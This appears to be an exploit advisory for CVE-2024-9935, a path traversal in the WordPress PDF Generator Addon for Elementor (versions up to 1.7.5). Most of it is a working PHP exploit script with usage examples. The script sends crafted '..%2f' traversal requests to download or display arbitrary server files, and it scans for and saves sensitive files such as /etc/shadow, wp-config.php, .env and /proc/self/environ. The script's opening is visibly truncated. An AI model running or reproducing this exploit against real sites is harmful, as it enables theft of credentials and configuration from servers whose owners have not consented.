============================================================================================================================================= | # Title : WordPress PDF Generator Addon for Elementor Page Builder 1.75 Path Traversal | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://wordpress.org/plugins/pdf-generator-addon-for-elementor/ | ============================================================================================================================================= POC : [+] References : https://packetstorm.news/files/id/183286/ & CVE-2024-9935 [+] Summary : A critical unauthenticated arbitrary file download vulnerability exists in the PDF Generator Addon for Elementor plugin versions 1.7.5 and earlier. The vulnerability allows attackers to download any file from the server filesystem through path traversal in the PDF generation endpoint. The vulnerability exists in the PDF Generator Addon for Elementor plugin's file handling mechanism. The plugin fails to properly validate and sanitize user input in the `rtw_pdf_file` parameter, allowing attackers to perform directory traversal and access arbitrary files outside the intended directory. Vulnerable Code Pattern: // In PDF generation component (conceptual) $pdf_file = $_GET['rtw_pdf_file']; $generate_pdf = $_GET['rtw_generate_pdf']; if ($generate_pdf === 'true') { // No path validation or sanitization $file_path = $some_base_path . $pdf_file; // File is read and served without access checks $content = file_get_contents($file_path); header('Content-Type: application/pdf'); echo $content; } [+] Usage: # Vulnerability Scan php exploit.php https://example.com --scan # View File Directly php exploit.php https://example.com/etc/passwd view # Download File php exploit.php https://example.com wp-config.php download # Test Common Files php exploit.php https://example.com --common [+] POC : colors = [ 'RED' => "\033[1;31m", 'GREEN' => "\033[1;32m", 'YELLOW' => "\033[1;33m", 'BLUE' => "\033[1;34m", 'MAGENTA' => "\033[1;35m", 'CYAN' => "\033[1;36m", 'WHITE' => "\033[1;37m", 'NC' => "\033[0m" ]; } private function color($text, $color) { return $this->colors[$color] . $text . $this->colors['NC']; } private function showBanner() { $banner = $this->color(" ", 'CYAN') . $this->color(" ", 'MAGENTA') . $this->color("\n CVE-2024-9935 - PDF Generator Arbitrary File Download\n", 'RED') . $this->color(" @indoushka\n\n", 'WHITE'); echo $banner; } private function urlEncode($string) { $encoded = ''; $length = strlen($string); for ($i = 0; $i < $length; $i++) { $c = $string[$i]; if (preg_match('/[a-zA-Z0-9.~_-]/', $c)) { $encoded .= $c; } else { $encoded .= '%' . strtoupper(dechex(ord($c))); } } return $encoded; } private function makeRequest($url, $saveToFile = false) { $contextOptions = [ 'http' => [ 'method' => 'GET', 'timeout' => 10, 'ignore_errors' => true, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ] ]; $context = stream_context_create($contextOptions); if ($saveToFile) { $content = @file_get_contents($url, false, $context); if ($content === false) { return ['success' => false, 'error' => 'Request failed']; } // Get HTTP status code $statusCode = 0; if (isset($http_response_header[0])) { preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches); $statusCode = isset($matches[1]) ? (int)$matches[1] : 0; } return [ 'success' => true, 'status_code' => $statusCode, 'content' => $content ]; } else { $response = @file_get_contents($url, false, $context); if ($response === false) { return ['success' => false, 'error' => 'Request failed']; } $statusCode = 0; if (isset($http_response_header[0])) { preg_match('/HTTP\/\d\.\d\s+(\d+)/', $http_response_header[0], $matches); $statusCode = isset($matches[1]) ? (int)$matches[1] : 0; } return [ 'success' => true, 'status_code' => $statusCode, 'content' => $response ]; } } public function exploit($targetUrl, $filePath, $action) { $this->showBanner(); // Validate target URL if (!filter_var($targetUrl, FILTER_VALIDATE_URL)) { echo $this->color("[-] Invalid target URL", 'RED') . "\n"; exit(1); } $targetUrl = rtrim($targetUrl, '/'); echo $this->color("[*] Target: ", 'BLUE') . $targetUrl . "\n"; echo $this->color("[*] File to download: ", 'BLUE') . $filePath . "\n"; echo $this->color("[*] Action: ", 'BLUE') . $action . "\n\n"; // URL encode the file path $encodedFilePath = $this->urlEncode($filePath); // Craft the exploit URL with path traversal $exploitUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFilePath; echo $this->color("[*] Attempting to exploit CVE-2024-9935...", 'YELLOW') . "\n"; echo $this->color("[*] Exploit URL: ", 'CYAN') . $exploitUrl . "\n\n"; if ($action === 'download') { $response = $this->makeRequest($exploitUrl, false); if (!$response['success']) { echo $this->color("[-] Exploit failed: " . $response['error'], 'RED') . "\n"; return; } if ($response['status_code'] === 200 && !empty($response['content'])) { $filename = basename($filePath); if (file_put_contents($filename, $response['content']) !== false) { echo $this->color("[+] Exploit successful! File saved as '", 'GREEN') . $filename . "'\n"; echo $this->color("[+] File size: ", 'GREEN') . strlen($response['content']) . " bytes\n"; } else { echo $this->color("[-] Failed to save file", 'RED') . "\n"; } } else { echo $this->color("[-] Exploit failed. HTTP Response Code: " . $response['status_code'], 'RED') . "\n"; } } elseif ($action === 'view') { $response = $this->makeRequest($exploitUrl, false); if (!$response['success']) { echo $this->color("[-] Exploit failed: " . $response['error'], 'RED') . "\n"; return; } if ($response['status_code'] === 200 && !empty($response['content'])) { echo $this->color("[+] Exploit successful! File content:", 'GREEN') . "\n"; echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; echo $response['content'] . "\n"; echo $this->color(str_repeat("=", 60), 'CYAN') . "\n"; echo $this->color("[+] File size: ", 'GREEN') . strlen($response['content']) . " bytes\n"; } else { echo $this->color("[-] File not found or empty. HTTP Code: " . $response['status_code'], 'RED') . "\n"; } } else { echo $this->color("[-] Invalid action: '" . $action . "'. Use 'download' or 'view'.", 'RED') . "\n"; exit(1); } } public function scan($targetUrl) { $this->showBanner(); $targetUrl = rtrim($targetUrl, '/'); echo $this->color("[*] Scanning target for PDF Generator Addon vulnerability: ", 'BLUE') . $targetUrl . "\n\n"; // Test common files $testFiles = [ '/etc/passwd' => 'System passwd file', '/wp-config.php' => 'WordPress configuration', '../../../../wp-config.php' => 'WordPress config (relative)' ]; $vulnerable = false; foreach ($testFiles as $file => $description) { echo $this->color("[*] Testing: ", 'YELLOW') . $description . " (" . $file . ")\n"; $encodedFile = $this->urlEncode($file); $testUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFile; $response = $this->makeRequest($testUrl, false); if ($response['success'] && $response['status_code'] === 200) { // Check if we got meaningful content if (!empty($response['content']) && strlen($response['content']) > 10) { echo $this->color("[+] File accessible: " . $description, 'GREEN') . "\n"; $vulnerable = true; // Show preview for confirmation $preview = substr($response['content'], 0, 100); echo $this->color("[+] Preview: ", 'CYAN') . $preview . "...\n"; } } else { echo $this->color("[-] File not accessible", 'RED') . "\n"; } echo "\n"; } if ($vulnerable) { echo $this->color("[+] TARGET IS VULNERABLE to CVE-2024-9935!", 'RED') . "\n"; } else { echo $this->color("[-] Target does not appear to be vulnerable", 'GREEN') . "\n"; } return $vulnerable; } public function commonFiles($targetUrl) { $this->showBanner(); $targetUrl = rtrim($targetUrl, '/'); echo $this->color("[*] Testing common sensitive files: ", 'BLUE') . $targetUrl . "\n\n"; $commonFiles = [ '/etc/passwd' => 'System user database', '/etc/shadow' => 'System password hashes', '/etc/hosts' => 'System hosts file', '/wp-config.php' => 'WordPress configuration', '../../../wp-config.php' => 'WordPress config (traversal)', '/.env' => 'Environment configuration', '/.htaccess' => 'Apache configuration', '/etc/nginx/nginx.conf' => 'Nginx configuration', '/proc/self/environ' => 'Process environment', '/etc/mysql/my.cnf' => 'MySQL configuration' ]; foreach ($commonFiles as $file => $description) { echo $this->color("[*] Testing: ", 'YELLOW') . $description . "\n"; $encodedFile = $this->urlEncode($file); $testUrl = $targetUrl . '/elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f' . $encodedFile; $response = $this->makeRequest($testUrl, false); if ($response['success'] && $response['status_code'] === 200 && !empty($response['content'])) { echo $this->color("[+] ACCESSIBLE: " . $description, 'GREEN') . "\n"; echo $this->color("[+] Size: " . strlen($response['content']) . " bytes", 'CYAN') . "\n"; // Save file $filename = 'download_' . str_replace('/', '_', $file); file_put_contents($filename, $response['content']); echo $this->color("[+] Saved as: " . $filename, 'CYAN') . "\n"; // Show preview $preview = substr($response['content'], 0, 200); echo $this->color("[+] Preview: ", 'CYAN') . $preview . "\n"; } else { echo $this->color("[-] Not accessible", 'RED') . "\n"; } echo "\n"; } } } // Main execution if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "CVE-2024-9935 - PDF Generator Addon Arbitrary File Download\n"; echo "Usage:\n"; echo " php exploit.php \n"; echo " php exploit.php --scan\n"; echo " php exploit.php --common\n"; echo "\nExamples:\n"; echo " php exploit.php https://example.com /etc/passwd view\n"; echo " php exploit.php https://example.com wp-config.php download\n"; echo " php exploit.php https://example.com --scan\n"; echo " php exploit.php https://example.com --common\n"; echo "\nDescription:\n"; echo " Exploits arbitrary file download in PDF Generator Addon for Elementor <= 1.7.5\n"; echo " via path traversal in rtw_pdf_file parameter\n"; exit(1); } $target = $argv[1]; $filePath = $argv[2] ?? ''; $action = $argv[3] ?? ''; $exploit = new PDFGeneratorExploit(); if ($filePath === '--scan') { $exploit->scan($target); } elseif ($filePath === '--common') { $exploit->commonFiles($target); } else { if (empty($filePath) || empty($action)) { echo "Error: File path and action are required\n"; exit(1); } $exploit->exploit($target, $filePath, $action); } } else { echo "This script is intended for command line use only.\n"; } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================